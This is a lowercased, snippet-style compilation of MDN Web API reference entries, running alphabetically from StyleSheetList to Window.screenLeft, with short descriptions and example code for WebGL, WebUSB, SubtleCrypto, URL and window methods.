StyleSheetList - Web APIs
it is an array-like object but can't be iterated over using array methods.
... however it can be iterated over in a standard for loop over its indices, or converted to an array.
... examples get document stylesheet objects with for loop for (let i = 0; i < document.stylesheets.length; i++) { let stylesheet = document.stylesheets[i]; } get all css rules for the document using array methods const allcss = [...document.stylesheets] .map(stylesheet => { try { return [...stylesheet.cssrules] .map(rule => rule.csstext) .join(''); } catch (e) { console.log('access to stylesheet %s is denied.
... ignoring...', stylesheet.href); } }) .filter(boolean) .join('\n'); specifications specification status comment css object model (cssom)the definition of 'cssstylesheetlist' in that specification.
SubmitEvent() - Web APIs
syntax let submitevent = new submitevent(type,eventinitdict); parameters type a domstring indicating the event which occurred.
... examples this code snippet locates a form in the current document, and then an html <button> within the form with the class submit on it.
... const form = document.queryselector("form"); const formtrigger = form.queryselector("button.submit"); const submitevent = new submitevent("submit", { submitter: formtrigger }); form.dispatchevent(submitevent); this is a somewhat contrived example, as you can do nearly all of this much more easily, but this gives you deep control over the process that can be useful.
... specifications specification status comment html living standardthe definition of 'submitevent()' in that specification.
SubtleCrypto.exportKey() - Web APIs
keys can be exported in several formats: see supported formats in the subtlecrypto.importkey() page for details.
...it can be one of the following: raw: raw format.
... examples note: you can try the working examples out on github.
...*/ window.crypto.subtle.generatekey( { name: "ecdsa", namedcurve: "p-384" }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".jwk"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.exportkey()' in that specification.
SubtleCrypto.generateKey() - Web APIs
extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
... keyusages is an array indicating what can be done with the newly generated key.
... examples note: you can try the working examples on github.
... let key = window.crypto.subtle.generatekey( { name: "aes-gcm", length: 256 }, true, ["encrypt", "decrypt"] ); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.generatekey()' in that specification.
Text.replaceWholeText() - Web APIs
the text.replacewholetext() method replaces the text of the node and all of its logically adjacent text nodes with the specified text.
... a domexception with the value no_modification_err is thrown if one of the text nodes being replaced is read only.
... the returned node is the current node unless the current node is read only, in which case the returned node is a newly created text node of the same type which has been inserted at the location of the replacement.
... specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'text' in that specification.
TextTrackList.length - Web APIs
a value of 0 indicates that there are no text tracks in the media.
... syntax var trackcount = texttracklist.length; value a number indicating how many text tracks are included in the texttracklist.
... each track can be accessed by treating the texttracklist as an array of objects of type texttrack.
... specifications specification status comment html living standardthe definition of 'texttracklist: length' in that specification.
TextTrackList.onchange - Web APIs
the texttracklist property onchange is an event handler which is called when the change event occurs, indicating that a change has occurred on a texttrack in the videotracklist.
... note: you can also add a handler for the change event using addeventlistener().
... syntax texttracklist.onchange = eventhandler; example this snippet establishes a handler for the change event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track.
.../* do something */ }; specifications specification status comment html living standardthe definition of 'texttracklist: onchange' in that specification.
TextTrackList.onremovetrack - Web APIs
the texttracklist onremovetrack event handler is called when the removetrack event occurs, indicating that a text track has been removed from the media element, and therefore also from the texttracklist.
... note: you can also add a handler for the removetrack event using addeventlistener().
... syntax texttracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which text track has been removed from the media element.
... specifications specification status comment html living standardthe definition of 'texttracklist: onremovetrack' in that specification.
Touch.clientX - Web APIs
WebAPITouchclientX
the touch.clienty property is the vertical coordinate of the touch point relative to the browser's viewport excluding any scroll offset .
...when the touchend event handler is invoked, the changes in the touch.clientx and touch.clienty coordinates, from the starting touch point to the ending touch point, are calculated.
... // register touchstart and touchend listeners for element 'source' var src = document.getelementbyid("source"); var clientx, clienty; src.addeventlistener('touchstart', function(e) { // cache the client x/y coordinates clientx = e.touches[0].clientx; clienty = e.touches[0].clienty; }, false); src.addeventlistener('touchend', function(e) { var deltax, deltay; // compute the change in x and y coordinates.
...}, false); specifications specification status comment touch events – level 2 draft non-stable version.
Touch.clientY - Web APIs
WebAPITouchclientY
the touch.clienty property is the vertical coordinate of the touch point relative to the browser's viewport excluding any scroll offset .
...when the touchend event handler is invoked, the changes in the touch.clientx and touch.clienty coordinates, from the starting touch point to the ending touch point, are calculated.
... // register touchstart and touchend listeners for element 'source' var src = document.getelementbyid("source"); var clientx, clienty; src.addeventlistener('touchstart', function(e) { // cache the client x/y coordinates clientx = e.touches[0].clientx; clienty = e.touches[0].clienty; }, false); src.addeventlistener('touchend', function(e) { var deltax, deltay; // compute the change in x and y coordinates.
...}, false); specifications specification status comment touch events – level 2 draft no changes since last version.
TouchEvent() - Web APIs
"ctrlkey", optional and defaulting to false, of type boolean, that indicates if the ctrl key was simultaneously pressed.
... "shiftkey", optional and defaulting to false, of type boolean, that indicates if the shift key was simultaneously pressed.
... "altkey", optional and defaulting to false, of type boolean, that indicates if the alt key was simultaneously pressed.
... "metakey", optional and defaulting to false, of type boolean, that indicates if the meta key was simultaneously pressed.
URL() - Web APIs
WebAPIURLURL
base optional a usvstring representing the base url to use in case url is a relative url.
... note: you can still use an existing url object for the base, which stringifies itself to the object's href property.
... exceptions exception explanation typeerror url (in the case of absolute urls) or base + url (in the case of relative urls) is not a valid url.
...d url new url('/docs'); // raises a typeerror exception as '/docs' is not a valid url new url('http://www.example.com', ); // => 'http://www.example.com/' new url('http://www.example.com', b); // => 'http://www.example.com/' new url("//foo.com", "https://example.com") // => 'https://foo.com' (see relative urls) specification specification status comment urlthe definition of 'url.url()' in that specification.
URL.revokeObjectURL() - Web APIs
the url.revokeobjecturl() static method releases an existing object url which was previously created by calling url.createobjecturl().
... call this method when you've finished using an object url to let the browser know not to keep the reference to the file any longer.
... syntax url.revokeobjecturl(objecturl) parameters objecturl a domstring representing a object url that was previously created by calling createobjecturl().
... specification specification status comment file apithe definition of 'revokeobjecturl()' in that specification.
URLSearchParams - Web APIs
an object implementing urlsearchparams can directly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers.
... urlsearchparams.foreach() allows iteration through all values contained in this object via a callback function.
... urlsearchparams.has() returns a boolean indicating if such a given parameter exists.
..."); // null searchparams1.get("http://example.com/search?query"); // "@" (equivalent to decodeuricomponent('%40')) var paramsstring2 = "?query=value"; var searchparams2 = new urlsearchparams(paramsstring2); searchparams2.has("query"); // true var url = new url("http://example.com/search?query=%40"); var searchparams3 = new urlsearchparams(url.search); searchparams3.has("query") // true specifications specification status comment urlthe definition of 'urlsearchparams' in that specification.
USB.requestDevice() - Web APIs
WebAPIUSBrequestDevice
calling this function triggers the user agent's pairing flow.
...each filter object can have the following properties: vendorid productid classcode subclasscode protocolcode serialnumber return value a promise that resolves with an instance of usbdevice.
... const filters = [ {vendorid: 0x1209, productid: 0xa800}, {vendorid: 0x1209, productid: 0xa850} ]; navigator.usb.requestdevice({filters: filters}) .then(usbdevice => { console.log("product name: " + usbdevice.productname); }) .catch(e => { console.log("there is no device.
... " + e); }); specifications specification status comment webusbthe definition of 'requestdevice' in that specification.
USB - Web APIs
WebAPIUSB
event handlers usb.onconnect an event handler called whenever a previously paired device is connected.
... usb.ondisconnect an event handler called whenever a paired device is disconnected.
...calling this function triggers the user agent's pairing flow.
... specifications specification status comment webusbthe definition of 'usb' in that specification.
USBDevice.clearHalt() - Web APIs
syntax var promise = usbdevice.clearhalt(direction, endpointnumber) parameters direction indicates whether the devices input or output should be cleared.
... endpointnumber indicates the number of the endpoint to clear.
... what data can be passed to a usb device and how it is passed is particular and unique to each device.
...clearing.'); await device.clearhalt('in', 1); } } specifications specification status comment webusbthe definition of 'clearhalt()' in that specification.
USBInTransferResult - Web APIs
the usbintransferresult interface of the webusb api provides the result from a call to the transferin() and controltransferin() methods of the usbdevice interface.
... "stall" - the device indicated an error by generating a stall condition on the endpoint.
...a stall on a bulk or interrupt endpoint must be cleared by calling clearhalt() before transferin() can be called again.
... specifications specification status comment webusbthe definition of 'usbintransferresult' in that specification.
USBInterface - Web APIs
an interface represents a feature of the device which implements a particular protocol and may contain endpoints for bidirectional communication.
...it can be changed by calling usbdevice.selectalternateinterface() with any other value found in alternates.
... usbinterface.claimedread only returns whether or not this interface has been claimed by the current page by calling usbdevice.claiminterface().
... specifications specification status comment webusbthe definition of 'usbinterface' in that specification.
USBOutTransferResult - Web APIs
the usbouttransferresult interface of the webusb api provides the result from a call to the transferout() and controltransferout() methods of the usbdevice interface.
... "stall" - the device indicated an error by generating a stall condition on the endpoint.
... a stall on a bulk or interrupt endpoint must be cleared by calling clearhalt() before transferout() can be called again.
... specifications specification status comment webusbthe definition of 'usbouttransferresult' in that specification.
USVString - Web APIs
WebAPIUSVString
usvstring corresponds to the set of all possible sequences of unicode scalar values.
... usvstring maps to a string when returned in javascript; it's generally only used for apis that perform text processing and need a string of unicode scalar values to operate on.
... specifications specification status comment web idlthe definition of 'usvstring' in that specification.
... candidate recommendation initial definition.
validityState.badInput - Web APIs
the read-only badinput property of a validitystate object indicates if the user has provided input that the browser is unable to convert.
... example <input type="number" id="age"> var input = document.getelementbyid("age"); if (input.validity.badinput) { console.log("bad input detected…"); } else { console.log("content of input ok."); } specifications specification status comment html living standardthe definition of 'validitystate.badinput' in that specification.
... living standard live standard html 5.1the definition of 'validitystate.badinput' in that specification.
... html5the definition of 'validitystate.badinput' in that specification.
validityState.tooLong - Web APIs
the read-only toolong property of a validitystate object indicates if the value of an <input> or <textarea>, after having been edited by the user, exceeds the maximum code-unit length established by the element's maxlength attribute.
... specifications specification status comment html living standardthe definition of 'validitystate.toolong' in that specification.
... living standard html 5.1the definition of 'validitystate.toolong' in that specification.
... recommendation html5the definition of 'validitystate.toolong' in that specification.
validityState.tooShort - Web APIs
the read-only tooshort property of a validitystate object indicates if the value of an <input>, <button>, <select>, <output>, <fieldset> or <textarea>, after having been edited by the user, is less than the minimum code-unit length established by the element's minlength attribute.
... specifications specification status comment html living standardthe definition of 'validitystate.tooshort' in that specification.
... living standard html 5.1the definition of 'validitystate.tooshort' in that specification.
... recommendation html5the definition of 'validitystate.tooshort' in that specification.
VideoPlaybackQuality.creationTime - Web APIs
syntax value = videoplaybackquality.creationtime; value a domhighrestimestamp object which indicates the number of milliseconds that elapased between the time the browsing context was created and the time at which this sample of the video quality was obtained.
... example this example calls getvideoplaybackquality() to obtain a videoplaybackquality object, then determines what percentage of frames have been lost by either corruption or being dropped.
... if that exceeds 10% (0.1), a function called lostframesthresholdexceeded() is called to, perhaps, update a quality indicator to show an increase in frame loss.
... var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if ((quality.corruptedvideoframes + quality.droppedvideoframes)/quality.totalvideoframes > 0.1) { lostframesthresholdexceeded(); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.corruptedvideoframes' in that specification.
VideoTrack.id - Web APIs
WebAPIVideoTrackid
this id can be used with the videotracklist.gettrackbyid() method to locate a specific track within the media associated with a media element.
... the track id can also be used as the fragment of a url that loads the specific track (if the media supports media fragments).
... syntax var trackid = videotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an videotracklist such as the one specified by a media element's videotracks property.
... specifications specification status comment html living standardthe definition of 'videotrack: id' in that specification.
VideoTrack.kind - Web APIs
WebAPIVideoTrackkind
the kind property contains a string indicating the category of video contained in the videotrack.
... the kind can be used to determine the scenarios in which specific tracks should be enabled or disabled.
... "captions" a version of the main video track with captions burnt in.
... specifications specification status comment html living standardthe definition of 'videotrack: kind' in that specification.
VideoTrackList.length - Web APIs
a value of 0 indicates that there are no video tracks in the media.
... syntax var trackcount = videotracklist.length; value a number indicating how many video tracks are included in the videotracklist.
... each track can be accessed by treating the videotracklist as an array of objects of type videotrack.
... specifications specification status comment html living standardthe definition of 'videotracklist: length' in that specification.
VideoTrackList.onremovetrack - Web APIs
the videotracklist onremovetrack event handler is called when the removetrack event occurs, indicating that a video track has been removed from the media element, and therefore also from the videotracklist.
... note: you can also add a handler for the removetrack event using addeventlistener().
... syntax videotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been removed from the media element.
... specifications specification status comment html living standardthe definition of 'videotracklist: onremovetrack' in that specification.
WEBGL_compressed_texture_astc - Web APIs
the webgl_compressed_texture_astc extension is part of the webgl api and exposes adaptive scalable texture compression (astc) compressed texture formats to webgl.
... availability: astc compression is typically available on mali arm gpus, intel gpus, and nividia tegra chips.
... constants the compressed texture formats are exposed by 28 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... ext.compressed_srgb8_alpha8_astc_12x12_khr 12x12 0.89 floor((width + 11) / 12) * floor((height + 11) / 12) * 16 29584 examples var ext = gl.getextension('webgl_compressed_texture_astc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_astc_12x12_khr, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
WEBGL_debug_renderer_info - Web APIs
generally, the graphics driver information should only be used in edge cases to optimize your webgl content or to debug gpu problems.
... the webglrenderingcontext.getparameter() method can help you to detect which features are supported and the failifmajorperformancecaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow.
... examples with the help of this extension, privileged contexts are able to retrieve debugging information about about the user's graphic driver: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var debuginfo = gl.getextension('webgl_debug_renderer_info'); var vendor = gl.getparameter(debuginfo.unmasked_vendor_webgl); var renderer = gl.getparameter(debuginfo.unmasked_renderer_webgl); console.log(vendor); console.log(renderer); specifications specification status comment webgl_debug_...
...renderer_infothe definition of 'webgl_debug_renderer_info' in that specification.
WEBGL_draw_buffers - Web APIs
constants this extension exposes new constants, which can be used in the gl.framebufferrenderbuffer(), gl.framebuffertexture2d(), gl.getframebufferattachmentparameter() ext.drawbufferswebgl(), and gl.getparameter() methods.
... ext.max_color_attachments_webgl a glint indicating the maximum number of framebuffer color attachment points.
... ext.max_draw_buffers_webgl a glint indicating the maximum number of draw buffers.
...attachment2_webgl, // gl_fragdata[2] ext.color_attachment3_webgl // gl_fragdata[3] ]); shader code that writes to multiple textures: <script type="x-shader/x-fragment"> #extension gl_ext_draw_buffers : require precision highp float; void main(void) { gl_fragdata[0] = vec4(0.25); gl_fragdata[1] = vec4(0.5); gl_fragdata[2] = vec4(0.75); gl_fragdata[3] = vec4(1.0); } </script> specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
WEBGL_lose_context.loseContext() - Web APIs
it triggers the steps described in the webgl specification for handling context lost.
... the context will remain lost until webgl_lose_context.restorecontext() is called.
... syntax gl.getextension('webgl_lose_context').losecontext(); examples with this method, you can simulate the webglcontextlost event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
... specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context.losecontext' in that specification.
WebGL2RenderingContext.copyBufferSubData() - Web APIs
gl.copy_read_buffer: buffer for copying from one buffer object to another (provided specifically for copy operations).
... gl.copy_write_buffer: buffer for copying from one buffer object to another (provided specifically for copy operations).
...32array(vertices); var length = vertices.length * 4; gl.bindbuffer(gl.array_buffer, srcbuffer); gl.bufferdata(gl.array_buffer, data, gl.static_draw); gl.bindbuffer(gl.copy_read_buffer, srcbuffer); gl.bindbuffer(gl.array_buffer, dstbuffer); gl.bufferdata(gl.array_buffer, new float32array(length), gl.static_draw); gl.copybuffersubdata(gl.copy_read_buffer, gl.array_buffer, 0, 0, length); specifications specification status comment webgl 2.0the definition of 'copybuffersubdata' in that specification.
... opengl es 3.0the definition of 'glcopybuffersubdata' in that specification.
WebGL2RenderingContext.drawArraysInstanced() - Web APIs
in addition, it can execute multiple instances of the range of elements.
... note: when using webgl 1, the angle_instanced_arrays extension can provide this method, too.
... examples gl.drawarraysinstanced(gl.points, 0, 8, 4); specifications specification status comment webgl 2.0the definition of 'drawarraysinstanced' in that specification.
... opengl es 3.0the definition of 'gldrawarraysinstanced' in that specification.
WebGL2RenderingContext.drawElementsInstanced() - Web APIs
in addition, it can execute multiple instances of a set of elements.
... note: when using webgl 1, the angle_instanced_arrays extension can provide this method, too.
... examples gl.drawelementsinstanced(gl.points, 2, gl.unsigned_short, 0, 4); specifications specification status comment webgl 2.0the definition of 'drawelementsinstanced' in that specification.
... opengl es 3.0the definition of 'gldrawelementsinstanced' in that specification.
WebGL2RenderingContext.uniformMatrix[234]x[234]fv() - Web APIs
syntax void gl.uniformmatrix2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix3x2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4x2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix2x3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4x3fv(location, transpose, dat...
...a, optional srcoffset, optional srclength); void gl.uniformmatrix2x4fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix3x4fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4fv(location, transpose, data, optional srcoffset, optional srclength); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
... examples gl.uniformmatrix2x3fv(loc, false, [1, 2, 3, 4, 5, 6]); specifications specification status comment webgl 2.0the definition of 'uniformmatrix' in that specification.
... opengl es 3.0the definition of 'gluniformmatrix' in that specification.
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
the webgl2renderingcontext.vertexattribipointer() method of the webgl 2 api specifies integer data formats and locations of vertex attributes in a vertex attributes array.
...bone indices, interpreted as integer gl.vertexattribipointer(2, 4, gl.unsigned_byte, 20, 16); gl.enablevertexattribarray(2); //connect to attributes from the vertex shader gl.bindattriblocation(shaderprogram, 0, "position"); gl.bindattriblocation(shaderprogram, 1, "boneweights"); gl.bindattriblocation(shaderprogram, 2, "boneindices"); <script id="shader-vs" type="x-shader/x-vertex">#version 300 es uniform mat4 mvmatrix; uniform mat4 bones[120]; in vec3 position; in vec4 boneweights; in uvec4 boneindices;//read as 4-component unsigned integer void main() { vec4 skinnedpositi...
...on = bones[boneindices.s] * vec4(position, 1.0) * boneweights.s + bones[boneindices.t] * vec4(position, 1.0) * boneweights.t + bones[boneindices.p] * vec4(position, 1.0) * boneweights.p + bones[boneindices.q] * vec4(position, 1.0) * boneweights.q; gl_position = mvmatrix * skinnedposition; } </script> specifications specification status comment webgl 2.0the definition of 'vertexattribipointer' in that specification.
... opengl es 3.0the definition of 'glvertexattribpointer' in that specification.
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
yoffset a glint specifying the vertical offset within the compressed texture image.
... examples var ext = ( gl.getextension('webgl_compressed_texture_s3tc') || gl.getextension('moz_webgl_compressed_texture_s3tc') || gl.getextension('webkit_webgl_compressed_texture_s3tc') ); gl.compressedtexsubimage2d(gl.texture_2d, 0, 256, 256, 512, 512, ext.compressed_rgba_s3tc_dxt5_ext, texturedata); specifications specification status comment webgl 1.0the definition of 'compressedtexsubimage2d' in that specification.
... opengl es 2.0the definition of 'glcompressedtexsubimage2d' in that specification.
... opengl es 3.0the definition of 'glcompressedtexsubimage2d' in that specification.
WebGLRenderingContext.copyTexImage2D() - Web APIs
possible values: gl.alpha: discards the red, green and blue components and reads the alpha component.
... gl.rgb: discards the alpha components and reads the red, green and blue components.
... examples gl.copyteximage2d(gl.texture_2d, 0, gl.rgba, 0, 0, 512, 512, 0); specifications specification status comment webgl 1.0the definition of 'copyteximage2d' in that specification.
... opengl es 2.0the definition of 'glcopyteximage2d' in that specification.
WebGLRenderingContext.cullFace() - Web APIs
the webglrenderingcontext.cullface() method of the webgl api specifies whether or not front- and/or back-facing polygons can be culled.
... syntax void gl.cullface(mode); parameters mode a glenum specifying whether front- or back-facing polygons are candidates for culling.
... gl.getparameter(gl.cull_face_mode) === gl.front_and_back; // true specifications specification status comment webgl 1.0the definition of 'cullface' in that specification.
... opengl es 2.0the definition of 'glcullface' in that specification.
WebGLRenderingContext.isProgram() - Web APIs
return value a glboolean indicating whether or not the program is valid.
... examples checking a program var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var program = gl.createprogram(); // ...
... gl.isprogram(program); specifications specification status comment webgl 1.0the definition of 'isprogram' in that specification.
... opengl es 2.0the definition of 'glisprogram' in that specification.
WebGLRenderingContext.isShader() - Web APIs
return value a glboolean indicating whether or not the shader is valid.
... examples checking a shader var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var shader = gl.createshader(gl.vertex_shader); // ...
... gl.isshader(shader); specifications specification status comment webgl 1.0the definition of 'isshader' in that specification.
... opengl es 2.0the definition of 'glisshader' in that specification.
WebGLRenderingContext.polygonOffset() - Web APIs
the webglrenderingcontext.polygonoffset() method of the webgl api specifies the scale factors and units to calculate depth values.
... syntax void gl.polygonoffset(factor, units); parameters factor a glfloat which sets the scale factor for the variable depth offset for each polygon.
... gl.getparameter(gl.polygon_offset_factor); // 2 gl.getparameter(gl.polygon_offset_units); // 3 specifications specification status comment webgl 1.0the definition of 'polygonoffset' in that specification.
... opengl es 2.0the definition of 'glpolygonoffset' in that specification.
WebGLRenderingContext.renderbufferStorage() - Web APIs
examples gl.renderbufferstorage(gl.renderbuffer, gl.rgba4, 256, 256); specifications specification status comment webgl 1.0the definition of 'renderbufferstorage' in that specification.
... opengl es 2.0the definition of 'glrenderbufferstorage' in that specification.
... webgl 2.0the definition of 'getrenderbufferparameter' in that specification.
... opengl es 3.0the definition of 'glrenderbufferstorage' in that specification.
WebGLRenderingContext.uniformMatrix[234]fv() - Web APIs
syntax webglrenderingcontext.uniformmatrix2fv(location, transpose, value); webglrenderingcontext.uniformmatrix3fv(location, transpose, value); webglrenderingcontext.uniformmatrix4fv(location, transpose, value); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
... the location is obtained using getuniformlocation().
... return value undefined examples gl.uniformmatrix2fv(loc, false, [2,1, 2,2]); specifications specification status comment webgl 1.0the definition of 'uniformmatrix' in that specification.
... opengl es 2.0the definition of 'gluniform' in that specification.
Data in WebGL - Web APIs
WebAPIWebGL APIData
shader programs have access to three kinds of data storage, each of which has a specific use case.
... glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, each of which with its own purpose and use cases: attributes, varyings, and uniforms.
...attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the javascript code and the vertex shader.
...0 ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow vec4( 0.0, 1.0, 0.0, 1.0 ), // green ]; var cbuffer = gl.createbuffer(); //continued //create buffer to store colors and reference it to "vcolor" which is in glsl gl.bindbuffer( gl.array_buffer, cbuffer ); gl.bufferdata( gl.array_buffer, flatten(vertexcolors), gl.static_draw ); var vcolor = gl.getattriblocation( program, "vcolor" ); gl.vertexattribpointer( vcolor, 4, gl.float, false, 0, 0 ); gl.enablevertexattribarray( vcolor ); //glsl attribute vec4 vcolor; void main() { fcolor = vcolor; } varyings varyings are variables that are declared by the vertex shader and used to pass data from the vertex shader to the fragment shader.
WebGL types - Web APIs
WebAPIWebGL APITypes
glbitfield unsigned long a bit field that stores multiple, logical bits.
... specifications specification status comment webgl 1.0the definition of 'types' in that specification.
... recommendation initial definition webgl 2.0the definition of 'types' in that specification.
... ext_disjoint_timer_querythe definition of 'gluint64ext' in that specification.
Web Animations API - Web APIs
can take an object created with the keyframeeffect() constructor.
... keyframeeffect describes sets of animatable properties and values, called keyframes and their timing options.
... these can then be played using the animation() constructor.
... specifications specification status comment web animations working draft initial definition ...
Web Crypto API - Web APIs
it's very easy to misuse them, and the pitfalls involved can be very subtle.
... errors in security system design and implementation can make the security of the system completely ineffective.
... interfaces some browsers implemented an interface called crypto without having it well defined or being cryptographically sound.
... specifications specification status comment web cryptography api recommendation initial definition ...
Web NFC API - Web APIs
note: devices and tags have to be formatted and recorded specifically to support ndef record format to be used with web nfc.
... interfaces ndefmessage interface that represents ndef messages that can be received from or sent to a compatible device or tag via ndefreader and ndefwriter objects respectively.
... ndefrecord interface that represents ndef records that can be included in an ndef message.
... specifications specification status comment web nfc draft ...
WheelEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace"...
... wheelevent.deltayread only returns a double representing the vertical scroll amount.
... specifications specification status comment ui eventsthe definition of 'the wheelevent interface' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'wheelevent' in that specification.
Window: animationstart event - Web APIs
a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence).
... bubbles yes cancelable no interface animationevent event handler property onanimationstart the original target for this event is the element that had the animation applied.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
... specifications specification status comment css animations working draft initial definition ...
Window.content - Web APIs
WebAPIWindowcontent
in such cases, content returns a reference to the window object for the document currently displayed in the browser.
... in unprivileged content (webpages), content is normally equivalent to top (except in the case of a webpage loaded in a sidebar, content still refers to the window of the currently selected tab).
...the former has been deprecated for a long time, and you should use content in any new code.
... syntax var windowobject = window.content; example executing the following code in a chrome xul window with a <browser type="content-primary"/> element in it draws a red border around the first div on the page currently displayed in the browser: content.document.getelementsbytagname("div")[0].style.border = "solid red 1px"; specification none.
Window.find() - Web APIs
WebAPIWindowfind
syntax window.find(astring, acasesensitive, abackwards, awraparound, awholeword, asearchinframes, ashowdialog); astring the text string for which to search.
... acasesensitive boolean.
... if true, specifies a case-sensitive search.
... specification this is not part of any specification.
Window.getDefaultComputedStyle() - Web APIs
top: 200px; height: 100px; } </style> <div id="elem-container">dummy</div> <div id="output"></div> <script> var elem = document.getelementbyid("elem-container"); var thecssprop = window.getdefaultcomputedstyle(elem).position; document.getelementbyid("output").innerhtml = thecssprop; // will output "static" </script> use with pseudo-elements the getdefaultcomputedstyle() method can pull style info from pseudo-elements (e.g., ::before or ::after).
... <style> h3:after { content: ' rocks!'; } </style> <h3>generated content</h3> <script> var h3 = document.queryselector('h3'), result = getdefaultcomputedstyle(h3, ':after').content; console.log('the generated content is: ', result); // returns 'none' </script> notes the returned value is, in certain known cases, expressly incorrect by deliberate intent.
... in particular, to avoid the so called css history leak security issue, browsers may expressly "lie" about the used value for a link and always return values as if a user has never visited the linked site, and/or limit the styles that can be applied using the :visited pseudo-selector.
... specifications proposed to the css working group.
Window.history - Web APIs
WebAPIWindowhistory
example history.back(); // equivalent to clicking back button history.go(-1); // equivalent to history.back(); notes for top-level pages you can see the list of pages in the session history, accessible via the history object, in the browser's dropdowns next to the back and forward buttons.
...the closest available solution is the location.replace() method, which replaces the current item of the session history with the provided url.
... specifications specification status comment html living standardthe definition of 'the history interface' in that specification.
... living standard html5the definition of 'the history interface' in that specification.
Window.innerWidth - Web APIs
WebAPIWindowinnerWidth
this includes the width of the vertical scroll bar, if one is present.
...the interior height of the window—the height of the layout viewport—can be obtained from the innerheight property.
... syntax let intviewportwidth = window.innerwidth; value an integer value indicating the width of the window's layout viewport in pixels.
...f the viewport var intframewidth = window.innerwidth; // this will return the width of the frame viewport within a frameset var intframewidth = self.innerwidth; // this will return the width of the viewport of the closest frameset var intframesetwidth = parent.innerwidth; // this will return the width of the viewport of the outermost frameset var intouterframesetwidth = top.innerwidth; specification specification status comment css object model (cssom) view modulethe definition of 'window.innerwidth' in that specification.
Window.moveBy() - Web APIs
WebAPIWindowmoveBy
note: this function moves the window relative to its current location.
... in contrast, window.moveto() moves the window to an absolute location.
... deltay is the amount of pixels to move the window vertically.
... function budge() { moveby(10, -10); } specification specification status comment css object model (cssom) view modulethe definition of 'window.moveby()' in that specification.
Window.moveTo() - Web APIs
WebAPIWindowmoveTo
note: this function moves the window to an absolute location.
... in contrast, window.moveby() moves the window relative to its current location.
... y is the vertical coordinate to be moved to.
... function origin() { window.moveto(0, 0); } specification specification status comment css object model (cssom) view modulethe definition of 'window.moveto()' in that specification.
Window: pagehide event - Web APIs
bubbles no cancelable no interface pagetransitionevent event handler property onpagehide examples in this example, an event handler is established to watch for pagehide events and to perform special handling if the page is being persisted for possible reuse.
... window.addeventlistener("pagehide", event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } }, false); this can also be written using the onpagehide event handler property on the window: window.onpagehide = event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } } specifications specification status comment html living standardthe definition of 'pagehide' in that specification.
... living standard initial specification.
... html5the definition of 'pagehide' in that specification.
Window.routeEvent() - Web APIs
WebAPIWindowrouteEvent
the window method routeevent(), which is obsolete and no longer available, used to be called to forward an event to the next object that has asked to capture events.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrouteevent deprecatednon-standardchrome no support noedge no support nofirefox no support noie ?
...expect poor cross-browser support.deprecated.
... not for use in new websites.deprecated.
Window.screenLeft - Web APIs
WebAPIWindowscreenLeft
